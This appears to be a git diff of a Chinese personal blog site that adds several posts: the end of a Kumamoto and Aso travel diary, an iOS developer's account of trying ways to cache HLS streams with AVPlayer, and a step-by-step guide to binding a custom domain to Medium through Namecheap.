櫻町購物中心出來旁邊就是熊本縣物產館,除了有熊本縣的特產外也有一些熊本熊周邊(例如:熊本熊香爐XD)。

回程又走了一遍上+下通商店街。

去無印買了衣服跟雜物、松本清補充藥妝(不知為何我的 Visa 在松本清都刷不過,之前在東京就被雷過,這次在熊本一樣無法刷,只能犧牲日幣現金了)。

到飯店時接近傍晚,晚餐就路上 Lawson 隨便解決,早早睡準備明天去阿蘇火山!

本來有在 KKDay/Klook 看到阿蘇火山行程,包一餐午餐、無導遊、無包車;沒有包交通感覺意義不大,就沒報(還好沒報,真的沒意義)。

反而從福岡到阿蘇有包車行程,比較方便。

Day 7 阿蘇火山、草千里、阿蘇神社、熊本站 AMU PLAZA KUMAMOTO

一早出門走到公車站搭往阿蘇站的客運;等車又遇熊本熊。

會先經過阿蘇機場(後天就要來了 Orz)。

一路上比較特別的是進阿蘇火山範圍時,車上會介紹阿蘇火山然後播放當地的山歌要你一起想像漫步在阿蘇火山草原的感覺。

抵達阿蘇站,站外有 航海王烏索普 銅像可以拍照(我忘了)。

可以在這邊用販賣機買阿蘇火山一日券(大概便宜個幾百日圓)跟拿時刻表,一日券只限時刻表上的三站上下車,上車要抽整理券;其他站貌似無法使用。

我要搭乘 8 號路線,10:45 分上山的公車。

上山車程時間:約 40 分鐘。

人不算多,時間快到稍微排一下隊就上車了,看大家都有上;不過應該是山路安全考量,沒有站立的位子;另外會暈車的可能要吃暈車藥。

阿蘇另外有直升機體驗行程,直接坐直升機看火山,有興趣的人可以查查。

阿蘇火山

Kami-komezuka

Kami-komezuka

一路上山,會先經過草千里再到山上總站,從山上總站再換一次公車約 10 分鐘就會到山上火山口。

剛好遇到隔壁的台積電大哥一樣是獨旅(來出差的XD),也都是第一次來阿蘇,於是一起抱團跑行程。

山上總站要再換一次公車,我們懶得在排公車,選擇直接用走的上山(大約 15–20 分鐘)。

走路到山上廣場,出來就是阿蘇中岳第四火山口。

有旅伴拍照就不是問題了!

山上很涼爽、完全不熱,充滿硫磺味,有圖三的疾病要考慮身體狀況。

純走馬看花,就沒有走到阿蘇中岳火山口,上來看看就走下山了。

小插曲

一路上聊得太開心走下來後,沒仔細看公車方向,要發車了趕快上車結果又被載上來,只好再走一遍XD

到山上總站後,這次看清楚 8 號路線公車、8 號路線公車、8 號路線公車,往山下阿蘇車站的;在草千里下車。

草千里

吃有名的 おか牛丼飯,人多但位置也很多,出餐快幾乎不用等。

吃完走出去逛逛草千里(有點擎天岡的味道),有騎馬體驗活動。

吃完搭同班 8 號公車往阿蘇站,原路下山。

阿蘇神社

到阿蘇站的時候,往阿蘇神社(宮地站)的 JR 再三分鐘就要發車了,錯過要再等一小時;用跑的進站,又遇到 阿蘇是小站沒有電子支付 ,要買車票,手忙腳亂的在販賣機買完車票上車。

阿蘇站只有一個月台,直接無腦上車即可;後來發現如果時間真的來不及買票,也可以直接上,出站再補就好。

宮地站出來大概要再走 20 分鐘才會到阿蘇神社(直直走就到,但有點遠)。

路上又遇野生熊本熊。

神社不大,一下就參拜完;神社部分也在維修中。

出來後旁邊有一條小小的表參道商店街,可以買些吃的稍作休息。

感謝大哥請吃炸牛肉馬鈴薯餅。

都逛完之後開始慢慢走回程,本來想說搭乘 15:47 的 JR 回熊本,但走回宮地站才知道那班是全指定席的車,無販售自由席並且已全售完,無法上車。

附上時刻表,或請先查好時刻;不然就會像我們一樣只能等一小時,等下一班 16:35 的區間 JR 回熊本。

時間還很久,就一起走回路上的松本清逛逛。(其實也蠻遠的,大概要 10 分鐘)。

最後看一眼寧靜的阿蘇。

區間車慢慢開回熊本,大概花了 1 小時 45 分才到。

路線有一段是之字形,會倒車開,別擔心,沒搭錯!

熊本站 AMU PLAZA KUMAMOTO

回到熊本站與大哥告別,期待有緣再見。

在熊本站逛新開的 AMU PLAZA KUMAMOTO 百貨公司(比櫻町購物中心更大更豐富)還有旁邊的肥後市場(賣吃的)。

一樣發現很多熊本熊XD。

在美食街隨便吃了晚餐宮崎雞(普通),整棟逛了一遍後買了些宵夜、熊本產的草莓酒(試喝完不錯,準備帶回台灣) 回飯店。

有一家蠻特別的店叫「BIWAN 美灣」賣台灣的食品(有看到乖乖XD),查了一下是 台灣阿原肥皂開的

[https://kumataiwanlife.com/](https://kumataiwanlife.com/){:target="_blank"}

https://kumataiwanlife.com/

查資料的時候還找得一個酷網站 — https://kumataiwanlife.com/ 裡面有中文的熊本最新消息、活動、冷知識(例如: 熊本的「OK繃」叫「LIBATAPE」 )…等等

今天才發現飯店的販賣機居然有賣罐裝生可樂,我在三大超商都沒找到。

它是 Suntory 跟百事一起推出的,台灣買不到,用做生啤的做法作可樂,氣泡感很足,不太有糖漿的膩,我喝一般可樂喝到後面都因為太膩倒掉,但生可樂我能喝完!

酒足飯飽後,早早睡去;準備迎接最後一天的熊本(扣掉回程飛機那天)。

Day 9 熊本亂晃、採購

熊本逛到第三天其實挺無聊的,能去的景點早就去完了,只能盡量找一些地方去看看然後買一些紀念品、藥妝。

原本預計去島原市,但路途太遠(單趟 2 小時 45 分),加上 JR Pass 早就過期,要再花錢買長途車票,放棄;大分、由布院同樣太遠,放棄;南阿蘇村,懶得去留給下次;所以就市區亂晃跟採購了,慢慢走。

熊本稻禾神社

一早一樣來到通町筋,先去第一天沒去到的熊本稻禾神社

加藤神社

一路往後面走去加藤神社(蠻遠的大概要走 20 分鐘,有山坡路。)

看到這山坡往上拐進去就是加藤神社了,也可以看到第一天從天守閣看後面在維修的地方,還有很多散落的城牆要逐一恢復。

小小的,有一半也還在維修中。

有一個小的熊本地震募款箱,加藤神社就沒參拜了,改投募款箱。

這邊可以從後方看到熊本城。

原路返回後前往熊本市役所(14 樓有免費展望台),到加藤神社的路走起來蠻遠的,可以搭公車。

本來打算去熊本美術館、手工藝館…等等,但週一都沒開!

熊本市役所

熊本市役所 14 樓可以鳥瞰整個熊本是、熊本城。

市役所出來再往櫻町購物中心方向走,會經過一個天橋,是一個很好的拍景地點,可以拍熊本路面地鐵。

這個十字路口就是熊本銀座通,前幾天有說到這邊也都是無料案內所。

櫻町購物中心

回櫻町購物中心逛街,再吃一次宮崎牛配熊本產的啤酒;離開時買了一隻熊本熊大福帶回台灣做紀念(可愛)。

唐吉訶德

一路再從下通走到上通回到通町筋,途中順便去唐吉軻德採購(這間的免稅櫃台在二樓結帳)。

買完想說先回飯店休息+放東西。

小插曲 搭路面電車遇到可愛的熊本阿公阿嬤;指著免稅品的透明袋子裡的日清泡麵說「蘇勾以捏~」,我說「Good!Good@」;然後拿出剛買的熊本熊大福跟阿嬤說「卡哇伊捏~」,他比個讚說說「咖哇伊、阿哩嘎豆」;然後我說「私は台湾人です」阿嬤好像跟我打招呼什麼的(日語太爛聽不懂,只聽得出元氣什麼的),我意思意思回應,下車的時候也跟阿公阿嬤打招呼說掰掰。

回飯店後第一次掀開窗簾,後面就是水前寺流域;其實風景不錯,晚上聽得到蟲鳴。

休息片刻後下午沒什麼地方去了,就隨便找地圖上的點去晃晃。

魯夫銅像

先走路到熊本縣本廳前,找魯夫銅像。

健軍神社

再搭公車+走路到健軍神社;小神社,去的時候快關門了幾乎沒人。

這邊沒有公車直達,都要走一小段(約 15 分鐘);離開神社後繼續往「熊本動物園」方向走(約 20–30 分鐘),找喬巴銅像。

喬巴銅像

在路上看到軍曹井蓋(好像是之前的活動)。

在動物園門口找到喬巴銅像。

熊本動物園之前查好像蠻無聊的,就沒特別安排要進去;傍晚來人家也休園了。

小插曲 在動物園門口遇到一組台灣家庭要拍照,就幫他們拍了;隔天去機場又遇到又再幫他們拍一次與飛機的合影,弟弟說我是拍照哥哥XD。

看地圖再往後走有水前寺流域的江津湖公園,順路走去看看;發現 只是當地人運動的河濱公園 ,就直接搭公車回去飯店了(還是公車起站)。

葦善らーめん

晚上去新水前寺站的居酒屋吃飯。

with 前前前同事(數字科技,後來去博客來上過 Line 新聞封面、a.k.a 博客來女神的 Irene Yu 吃飯)。

還能在異地跟熟悉的人吃飯太感動了,畢竟我也自閉了好幾天(不懂日文、幾乎不講話),最後還獲得別府伴手禮😭。

吃太快,只記得手羽先好吃,也嘗試了馬肉串燒(熊本馬肉刺身有名,我不敢吃);老闆娘很親切,但菜單都是日文,字形用翻譯軟體難辨識,只能猜XD

吃完飯我用走的回飯店(約 15 分鐘) 最後漫步在熊本街頭,去 Lawson、全家買了冰跟甘酒(本來以為是清酒,結果 甘酒不是酒,是滋養消暑聖品 )。

也順手買明天早上的早餐(哈密瓜麵包+果汁),全家的這款果肉果汁(哈密瓜、草莓…)真的好喝,我幾乎有看到就會買來喝,裡面有果肉甜甜的很好喝。

Day 10 回程

在日本獨自流浪 10 天了,也開始想家了、想念台灣的美食、台灣的朋友們。

這間飯店唯一優點,出來對面就有機場交通車。

同樣遇到實際誤點,Google Map 顯示已通過的狀況;還好有長崎的教訓與電子看板,我繼續耐心的等候,大概遲到了快 10 分鐘,車終於來了。

司機會幫忙把行李箱放到客運下方的行李區,下車要記得拿就好。

在路上又遇到野生熊本熊圍籬XD熊本真的到處可見熊本熊!

9 點多就早早到機場(因為也沒地方想去了,晚點來也是在飯店待到晚點出門)。

阿蘇熊本機場(KMJ) 很新很小,班次也不多;國際線今天就三班而已,國際線只有三個櫃檯,所有輪流使用。

大約等到 10:20 才開放報到/托運,之前都搭長榮(可手提兩件),這次搭華航才發現是手提一件,現場趕快壓縮成一件。

地勤說托運完先不要走,大概在現場等個 5 ~ 10 分鐘,如果行李有問題他們會叫號碼去處理(機場太小,也沒電子看板,只能乾等)。

沒問題後,往國際線出發方向出境;本來想說早早來機場逛,結果機場也沒什麼。

那時候可能真的累了,後來才知道其實有觀景平台可以看飛機,掛完行李之後其實可以去逛逛,不急著出境。

要注意 3F 吃的那些全都在「安全檢查之後」出境之前,你可以左拐到吃的地方,但回來要重新檢查;一但完成出境就沒有賣吃的,只剩免稅店。

一路到出境審查幾乎都沒人,安全檢查也你一人獨享。

因為沒有很餓就沒有去吃的地方了,直接出境到國際線候機室。

候機室、免稅店都不大,但很新並且都有 USB 充電插座;前面說的觀景平台這邊可以看到(在 2 樓的那些人就是)。

沒特別買什麼,就把 Apple Watch 的 Suica 餘額花完,投了兩瓶水蜜桃水回台灣喝。

12:30 準時起飛,Bye 九州、Bye 熊本。

回程的飛機比較新,電影有超級瑪利歐兄弟,看完剛好到台灣;位子也沒坐滿,爽爽的一人坐一整排!

下飛機的時候發現前面的人帶了一頂安全帽,是騎機車來坐飛機嗎 🤣

抵達桃園機場,回家!

提領行李的時候,可能因為太早托運;等了一下才來,順便實驗了 Airtag 尋找功能,行李接近的時候有叫!

回台灣又在路上看到熊本熊XD(好像是玉山銀行的新卡活動)。

小補充 日本公車、路面電車 搭乘經驗

  • 整理券(上面有號碼) = 上車時候門口會有一台小機器可以抽(類似抽號碼牌)
  • 有的路線是一口價可能就不會有整理券
  • 如果用電子支付 (Suica) 可以不用抽整理券,但要注意金額不能扣到負 ( 跟台灣不一樣 )
  • 公車電車不找零,但可以先在車上的對幣機換錢(同樣在司機投錢那邊)
  • 多半後上前下
  • 日本公車會等人,等人坐好才開、等人下車才開;所以到站再站起來就好,不用還沒到站就擠到前面 ( 跟台灣不一樣 )
  • 下車就看手上的整理券號碼跟對應的車資支付:

[日本旅行搭公車不用怕!巴士乘車規則說明全攻略](https://wow-japan.com/knowledge-how-to-take-a-bus/){:target="_blank"}

日本旅行搭公車不用怕!巴士乘車規則說明全攻略

以上就是九州 10 日獨旅自由行的整個紀錄體驗,總結/Retro 已寫在前面,感謝您的閱讀。

更多遊記

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

遊記 9/11 名古屋一日快閃自由行

遊記 2023 廣島岡山 6 日自由行

diff --git a/posts/d796bf8e661e/index.html b/posts/d796bf8e661e/index.html new file mode 100644 index 000000000..74a98c0fc --- /dev/null +++ b/posts/d796bf8e661e/index.html @@ -0,0 +1,49 @@ + iOS HLS Cache 實踐方法探究之旅 | ZhgChgLi
Home iOS HLS Cache 實踐方法探究之旅
Post
Cancel

iOS HLS Cache 實踐方法探究之旅

iOS HLS Cache 實踐方法探究之旅

使用 AVPlayer 播放 m3u8 串流影音檔時如何做到邊播放邊 Cache 的功能

photo by [Mihis Alex](https://www.pexels.com/zh-tw/@mcraftpix?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels){:target="_blank"}

photo by Mihis Alex

[2023/03/12] Update

我將之前的實作開源了,有需求的朋友可直接使用。

  • 客製化 Cache 策略,可以用 PINCache or 其他…
  • 外部只需呼叫 make AVAsset 工廠,帶入 URL,則 AVAsset 就能支援 Caching
  • 使用 Combine 實現 Data Flow 策略
  • 寫了一些測試

關於

HTTP Live Streaming (簡稱HLS) 是蘋果提出基於HTTP的串流媒體網絡傳輸協議。

以播放音樂來說,非串流情況下我們使用 mp3 作為音樂檔,這個檔案有多大就要花多久時間全部下載下來才能播放;而 HLS 就是把一個檔案分割成多個小檔案,讀到哪播到哪,所以拿到第一個分割區塊就能開始播放,不用整個都下載完!

.m3u8 檔就是紀錄這些分割的 .ts 小檔案的碼率、播放順序、時間 還有整個音訊的資訊,另外也可以做加解密保護、低延遲直播…等等

.m3u8 檔範例(aviciiwakemeup.m3u8):

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+
#EXTM3U
+#EXT-X-VERSION:3
+#EXT-X-ALLOW-CACHE:YES
+#EXT-X-TARGETDURATION:10
+#EXT-X-MEDIA-SEQUENCE:0
+#EXTINF:9.900411,
+aviciiwakemeup–00001.ts
+#EXTINF:9.900400,
+aviciiwakemeup–00002.ts
+#EXTINF:9.900411,
+aviciiwakemeup–00003.ts
+#EXTINF:9.900411,
+.
+.
+.
+#EXTINF:6.269389,
+aviciiwakemeup-00028.ts
+#EXT-X-ENDLIST
+

*EXT-X-ALLOW-CACHE 已在 iOS≥ 8/Protocol Ver.7 deprecated ,有沒有這行都沒有用意義了。

目標

對於一個影音串流服務, Cache 非常之重要 ;因為每個音訊檔案小則 MB 大則幾 GB ,如果每次重播都要再從伺服器拉一次檔案,對 Server 的 Loading 來說非常吃力,而且流量都是 \(\) ,如果有個 Cache 層能為服務節省許多金錢,對使用者來說也不用浪費網路、浪費時間重新下載;是一個雙贏的機制 (但要記得設定上限/定時清除,避免把使用者的設備塞爆)。

問題

以往非串流時 mp3/mp4 沒什麼好處理的,就是在播放前先下載到設備上,下載完成才開始播放;反正不管怎樣都要載完才能播,那不如我們自己用 URLSession 下載完檔案後再餵 file:// 下載在本地的檔案路徑給 AVPlayer 做播放即可;或正規方式,使用 AVAssetResourceLoaderDelegate 在 Delegate 方法中對下載的資料進行 Cache 緩存。

遇到串流想法其實也很直白,就是先讀 .m3u8 檔,然後在解析裡面的資訊,對每個 .ts 檔做 Cache 即可;但實作發現事情沒有這麼簡單,處理難度超乎我的想像,所以才會有此篇文章!

播放部分我們一樣直接使用 iOS AVFoundation 的 AVPlayer,在操作上串流/非串流檔案沒有差異。

Example:

1
+2
+3
+
let url:URL = URL(string:"https://zhgchg.li/aviciiwakemeup.m3u8")
+var player: AVPlayer = AVPlayer(url: url)
+player.play()
+

2021–01–05 更新:

我們退而求其次退回去使用 mp3 檔,這樣就能直接使用 AVAssetResourceLoaderDelegate 進行實作,詳細實作可參考「 AVPlayer 邊播邊 Cache 實戰 」。

實踐方案

針對我們的目標能達成的幾個方案及實踐時遇到的問題。

方案 1. AVAssetResourceLoaderDelegate ❌

第一個想法就是,那我們就照 mp3/mp4 時的做法就好啦!一樣用 AVAssetResourceLoaderDelegate 在 Delegate 方法中緩存 .ts 檔案。

不過很抱歉,此路不通,因為無法在 Delegate 中攔截到 .ts 檔案的下載請求資訊,可以在這則 問答官方文件 上確切此事。

AVAssetResourceLoaderDelegate 實作可參考「 AVPlayer 邊播邊 Cache 實戰 」。

方案 2.1 URLProtocol 攔截請求 ❌

URLProtocol 也是最近才學到的方法,所有基於 URL Loading System 的請求 (URLSession、Call API、下載圖片…) 都可以被我們攔截下來修改 Request、Response 然後再返回,一切就像沒發生一樣,偷偷來;關於 URLProtocol 可以參考 此篇文章

應用此方法,我們打算攔截 AVFoundation AVPlayer 在要求 .m3u8.ts 的請求時,攔截下來然後如果本地有 Cache 就直接返回 Cache Data,沒有則再真的再發 Request 出去;這樣也能達到我們的目標。

一樣,很抱歉,此路也不通;因為 AVFoundation AVPlayer 的請求不是在 URL Loading System 上,我們無從攔截。 *有一說是 模擬器上可以但實機上不行

方案 2.2 暴力讓他能進 URLProtocol ❌

根據 方案 2.1 腦洞大開的暴力法,如果我把請求網址換成一個自訂的 Scheme (EX: streetVoiceCache://),因 AVFoundation 無法處理這個請求,所以會丟出來,這樣我們的 URLProtocol 就能攔截到,做我們想做的事。

1
+2
+3
+
let url:URL = URL(string:"streetVoiceCache://zhgchg.li/aviciiwakemeup.m3u8?originSchme=https")
+var player: AVPlayer = AVPlayer(url: url)
+player.play()
+

URLProtocol 會攔截到 streetVoiceCache://zhgchg.li/aviciiwakemeup.m3u8?originSchme=https ,這時我們只要幫他還原成原來的網址,然後發個 URLSession 去要資料就能在這邊自己做 Cache;m3u8 中的 .ts 檔案請求一樣也會被 URLProtocol 攔截到,一樣我們能在這自己做 Cache。

一切看似都那麼完美,但當我興高采烈的 Build-Run 完 APP 後,蘋果直接搧了我一巴掌:

Error: 12881 “CoreMediaErrorDomain custom url not redirect”

他不吃我給 .ts 檔案 Request 的 Response Data,我只能用 urlProtocol:wasRedirectedTo 這個方法 redirectTo 原始 Https 請求才能正常播放,即使我把 .ts 檔案下載到本地然後 redirectTo 那個 file:// 檔案;他也不接受,查 官方論壇 得到答案就是不能這樣做; .m3u8 只能是來源於 Http/Https (所以即使你把整個 .m3u8 還有所有分割檔 .ts 都放在本地,有無法使用 file:// 給 AVPlayer播放),另外 .ts 也不能使用 URLProtocol 自行給予 Data。

fxxk…

方案 2.2–2 同方案 2.2 但是搭配 方案 1 AVAssetResourceLoaderDelegate 來實現 ❌

實作方式如方案 2.2 ,餵給 AVPlayer 自訂的 Scheme 讓他進 AVAssetResourceLoaderDelegate;然後我們在自己處理。

同 2.2 結果:

Error: 12881 “CoreMediaErrorDomain custom url not redirect”

官方論壇 同樣的回答。

可以拿來做解密處理(可以參考 此篇文章此範例 )但還是無法實現 Cache 功能。

方案 3. Reverse Proxy Server ⍻ (可行,但非完美)

這個方法是在找如何處理 HLS Cache 時,最多人給的答案;就是在 APP 上起一個 HTTP Server 做 Reverse Proxy Server 服務。

原理也很簡單,APP 上 On 一個 HTTP Server 假設是 8080 Port,網址就會是 http://127.0.0.1:8080/ ;然後我們可以對連進來的 Request 做處理,給出 Response。

套用到我們的案例就是,把請求網址換成: http://127.0.0.1:8080/aviciiwakemeup.m3u8?origin=http://zhgchg.li/

在 HTTP Server 的 Handler 上對 *.m3u8 攔截處理,這時有 Request 進來就會進到我們的 Handler 中,看我們想幹嘛就幹嘛,想 Response 什麼 Data 都是我們自己控制, .ts 檔同樣會進來;這邊就可以做我們想做的 Cache 機制。

對 AVPlayer 來說就是個 http://.m3u8 的標準串流音訊檔,所以不會有任何問題。

完整實作範例可參考:

StyleShare/HLSCachingReverseProxyServer A simple local reverse proxy server for HLS segment cache - StyleShare/HLSCachingReverseProxyServer github.com

因為我也是參考此範例做的,所以 Local HTTP Server 的部分我也是使用 GCDWebServer ,另外還有更新的 Telegraph 可以使用。( CocoaHttpServer 太久沒更新就不推薦用了)

看起來不錯!但有個問題:

我們的服務是音樂串流而非影音播放平台,音樂串流很多時候使用者都是在背景執行音樂切換的;這時候 Local HTTP Server 還會在??

GCDWebServer 的說明是當進入背景時會自動斷線、回前景自動恢復,但可以透過設置參數 GCDWebServerOption_AutomaticallySuspendInBackground:false 不讓他有這個機制。

但是實測如果一段時間沒有發送請求 Server 還是會斷線 (且狀態會是錯的,還是 isRunning) 感覺就是被系統砍了;深掘了 HTTP Server 的做法 後發現底層都是基於 socket,查了 官方對 socket 服務的文件 後,此缺陷是無法解決的,本來在背景下沒有新的連接時就會被系統暫停。

*網路上有找到很繞的方法…就是發個長請求、或不斷發空的請求確保 Server 在背景不會被系統暫停掉。

以上都是針對 APP 在背景的狀況,在前景時 Server 很穩,也不會因為閒置被暫停,沒這問題!

是說畢竟是依賴在其他服務上,開發環境測試沒問題,實際應用也建議要接個 rollback 處理(AVPlayer.AVPlayerItemFailedToPlayToEndTimeErrorKey 通知);否則有個萬一服務掛掉,使用者會卡死。

所以說不完美啊…

方案 4. 使用 HTTP Client 本身的 caching 機制 ❌

我們的 .m3u8/.ts 檔的 Response Headers 都有給予 Cache-ControlAgeeTag … 這些 HTTP Client Cache 資訊;我們的網站 Cache 機制在 Chrome 上使用也完全沒問題,另外也在官方新的針對 Protocol Extension for Low-Latency HLS (低延遲HLS) 初步規格文件中提到 Cache 的地方也看到可以設定 cache-control headers 來做緩存。

但實際 AVFoundation AVPlayer 並沒有任何 HTTP Client Caching 效果,此路也不通!單純癡人說夢。

方案 5. 不使用 AVFoundation AVPlayer 播放音訊檔 ✔

自己實現音訊檔解析、緩存、編碼、播放功能。

太硬核了,需要很深的技術能力及大量時間;沒研究。

附上一個網路開源播放器做參考: FreeStreamer ,真要選擇此方案不如站在巨人的肩膀上,直接用第三方套件了。

方案 5–1. 不使用 HLS

同方案 5 , 太硬核了,需要很深的技術能力及大量時間;沒研究。

方案 6. 將 .ts 分割檔轉成 .mp3/.mp4 檔案 ✔

沒研究,但的確可行;不過想起來就覺得複雜,要處理已下載的 .ts 檔案,個別轉成 .mp3 或 .mp4 檔案然後照順序播放、或是壓縮成一個檔案什麼的,想起來就不太好做。

有興趣可參考 此篇文章

方案 7. 下載完整檔案後再播放 ⍻

這個方法不能確切叫邊播邊 Cache,實際是載下整個音訊檔案的內容,然後才開始播放;如果是 .m3u8 如同方案 2.2 提到的,不能直接載下來放在本地播放。

要實作的話要用到 iOS ≥ 10 的 API AVAssetDownloadTask.makeAssetDownloadTask ,實際會將 . m3u8 打包成 .movpkg 放在本地,供使用者播放。

這邊比較像是做離線播放而非做 Cache 的功能。

另外使用者也能從「設定」->「一般」->「iPhone 儲存空間」-> APP 中查看、管理已下載打包的音訊檔案。

下方 已下載的影片 部分

下方 已下載的影片 部分

詳細實作可參考此範例:

結語

以上的探索路程大概花了快一整週,繞來繞去、快要喪心病狂了;目前還沒有一個可靠的、容易部署的方法。

如果有新的想法再來更新!

參考資料

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

iOS 逆向工程初體驗

打造舒適的 WFH 智慧居家環境,控制家電盡在指尖

diff --git a/posts/d9a95d4224ea/index.html b/posts/d9a95d4224ea/index.html new file mode 100644 index 000000000..6128cdac4 --- /dev/null +++ b/posts/d9a95d4224ea/index.html @@ -0,0 +1 @@ + Medium 自訂網域功能回歸 | ZhgChgLi
Home Medium 自訂網域功能回歸
Post
Cancel

Medium 自訂網域功能回歸

Medium 自訂網域功能回歸

自己的 Domain Authority 自己養!

TL;DR [2022/07/11] 此功能又被關閉了

感謝網友 MING 回報,此功能又被 官方宣告關閉了 ,已經設定的帳戶暫時還可以繼續轉址使用。

Breaking News!

[Custom domains are back!](https://blog.medium.com/custom-domains-are-back-2dee29560d59){:target="_blank"}

Custom domains are back!

Medium 官方部落格於 2021/02/17 發布最新消息,Medium 又能重新讓創作者綁定自己的網域(Domain)啦!不論事創作者 Profile 頁或是 Publications 都支援設定。

什麼是「自訂網域」

為了怕讀者不一定都是資訊領域出生,這邊簡單說明一下什麼是自訂網域。

網域(Domain)如同網路世界的門牌,我輸入門牌 Medium.com 就會到 Medium;如今開放讓創作者自訂網域,也就是自訂門牌,你可以註冊好自己想要的門牌,然後綁定到 Medium 的帳號上就能取代掉原本的門牌;例如我使用 blog.zhgchg.li 這個門牌,也會進到我的 Medium。

歷史

查資料在早期約莫 2012 年時有開放過此功能,收費方式是一次性 $75 美金設定費;但在我開始寫 Medium 的時候 (2018) 早就停止了這個功能服務,但已經申請的不受影響,所以有時候逛 Medium 會看到 Domain 是自己的,但網站是 Meidum,很酷;聽說推出了一陣子就下架了,我自己估計是因為商業考量,自訂網域會降低 Medium 識別度。

好處

  • 識別度 :自訂網域能為創作者帶來許多好出,最直白得就是識別度,不在是 medium.com/@xxxx 這種,而是直接以你的名稱作為顯示 ex: zhgchg.li/
  • 自由度 :之後如果想搬離 Medium 自架網站,也可以透過轉址方式將原本的連結直接導往新網站。
  • Domain Authority :與 SEO 搜尋結果排名有關,可以透過 Medium 來養自己域名的權值,日後轉戰其他平台也不怕 SEO 從頭來。

壞處

  • 不再享有 medium.com 的高 Domain Authority SEO 排名優勢,初期可能會嚴重影響搜尋進入的流量。

規則

我發現文章連結、分享連結,如果該文章有加入 Publication 但 Publication 沒有設 Custom domain 也不會用 Profile 的 Domain 會變回預設的 medium.com 連結。

我的設定

先貼一個我的設定給大家參考。

  • Profile 頁: blog.zhgchg.li (我是只用子網域 blog.zhgchg.li ,因為主網域有其他用途)

Publication 頁我本來有設,但後來拿掉了 ;因為我的追蹤者不多自生產流量能力有限,需要大量依賴 Google 等搜尋引擎流量流入;如果 Publication 頁也用 Custom Domain 的話會導致文章連結變成我的域名,但我的域名還太菜,搜尋結果超級後面,吸引不到流量。

只設 Profile 不設 Publication 有一個好處,原本的 medium 連結還是能被 google 收錄;另外還能多開一條路是自己網域的連結,這樣兩全其美;一方面不會喪失原本的流量,又能慢慢養自己域名的 Domain Authority。

適合的對象

若要從頭培養一個 Domain 的權威值,需要經過很漫長的時間累積;我想了一下覺得這個功能最適合的應該是本身就有網站服務(ex: musicplayer.com);如果想建立社群,則可直接使用 Medium,這時候域名就可用(blog.musicplayer.com)

1 是直接使用 Medium 平台來撰寫文章(而且目前客製化功能越開越多)、2 是本身域名也有 DA 不會影響 SEO 太多

價格

網域部分:

依照自己的喜好由 Namecheap (本文以此為例)或 Godaddy 取得,常見的 .com 價格大約 $200~$500 台幣一年;依照域名的域名後綴、長度價格不定,稀有的上百萬上億都有聽過。

網域註冊採用先註冊先贏的策略,除非該地區該域名名稱有商標保護才有可能透過法律手段拿回來;不然就是人家先搶先贏,你只能跟他談價購買,因此衍伸出一種投資(域名蟑螂)註冊大量域名霸佔著不用,等人來跟他買。

網域需每年繳費或一次買 x 年,沒有終身買斷;若沒繼續續費,超過保護期限就會釋出,讓所有人都能重新註冊。

不過我想經營 Medium 的朋友應該不太會遇到域名被霸佔的問題,因為多半是個人居多,我是使用我的網路帳號 zhgchg.li 進行註冊沒有人註冊過;如果好巧不巧遇到重複,也可以改後綴,例如 .div/.net…等等

後綴部分可參考 網際網路頂級域列表 ,但不代表上面有的就能申請;要看該域名國家的規範、另外還有代理平台 ( Namecheap , Godaddy. . ) 也不一定有販售該後綴的域名。

例如我的 .li 是 列支敦斯登 的域名,目前對域名註冊者的身份沒有要求,任何人和公司都可以註冊;且只有 Namecheap 尚有販售。

姓李的好處?

姓李的好處?

題外話,我的拼法 zhgchg.li 這種網域方式又叫 Domain Hack ;更好的例子是 google => goo.gl。

Medium 部分:

目前取消了一次性 $75 美金設定費,改為 Medium 付費會員身份都能使用(一個月 $5 美金/一年 $50 美金);但我其實比較喜歡原本的一次設定費 QQ;因為我多半為創作者,不太需要付費會員的訂閱權限,改月費年費制對我來說比較傷,開始被迫考慮加入付費牆計畫了 Orz。

2021/04/05 更新

假設先加入會員計劃然後設好自訂網域後不再繼續續費會員會怎麼樣?

實測會員失效後,自訂網域依然有效!

開始設定

1. 購買&取得域名 (以 Namecheap 為例)

首先到 Namecheap 官網首頁 搜尋喜歡的域名:

得到搜尋結果:

右邊按鈕顯示「 Add To Cart 」代表該域名還沒有人註冊,可以加入購物車購買。

如果右邊按鈕顯示「 Make offer 」、「 Taken 」代表該域名已被註冊,請選擇其他後綴或換個域名:

加入購物車後點擊下方「 Checkout 」。

進入訂單確認頁:

  • Domain Registration :這邊可以選擇 AUTO-RENEW 每年自動續費,也可以改要一次購買的年數。
  • WhoisGuard :由於 網域資料可以公開讓任何人自由查詢 (註冊時間、到期日、註冊人、聯繫方式);此功能可以將註冊人及聯繫方式改為顯示 Namecheap,而非直接顯示你的個人資料,可以防止垃圾郵件訊息。 (此功能部分後綴是要收費的,如果是免費的話就用吧!)

擷取一些 google.com 的 whois 訊息結果,可 由此查詢

  • PremiumDNS :我們知道域名等於門牌,也就是說看到門牌會去找位置在哪;這個功能就是提供更穩定安全的「找位置在哪」功能,我是覺得不必,除非是一點錯誤都不能出的高流量電商網站之類。

輸入完信用卡資訊點「 Confirm Order

之後就購買成功囉!

會收到一封訂單明細信件。

2.設定網域 (以 Namecheap 為例)

登入帳號後,點選 左上角帳號 -> 「 Dashboard

進入「 Dashboard 」後切換到「 Domain List 」頁籤,找到剛買的 Domain 點 「 Manage

進來之後切換到最後一個「 Advanced DNS 」頁籤

先放在這頁不動,回到 Medium。

前往 Medium 的設定頁 ,找到「Profile」區塊中的「Custom domain」部分,點擊「 Get started

Publications 的話請,一樣前往 Publications 的「Homepage and settings」在底部找到「Custom domain」部分。

如果顯示「Upgrade」則代表你要先升級成付費用戶才能使用此功能。

進入設定頁面:

輸入你的 Domain 名稱,ex: www.example.com

記住以上資訊,這時候再回到 Namecheap 設定頁。

在「 Advanced DNS 」頁籤中找到「 HOST RECORDS 」部分

點擊下方「 ADD NEW RECORD 」按鈕兩次,出現兩筆新增資料框。

將 Medium 上的資訊輸入進去:

  • 選擇「 A Record」
  • 如果你是主網域 (ex: zhgchg.li) 則輸入 www,像我一樣只是子網域就輸入子網域名稱
  • IP 輸入同 Medium 上的資訊

並點右邊「✔」完成新增。

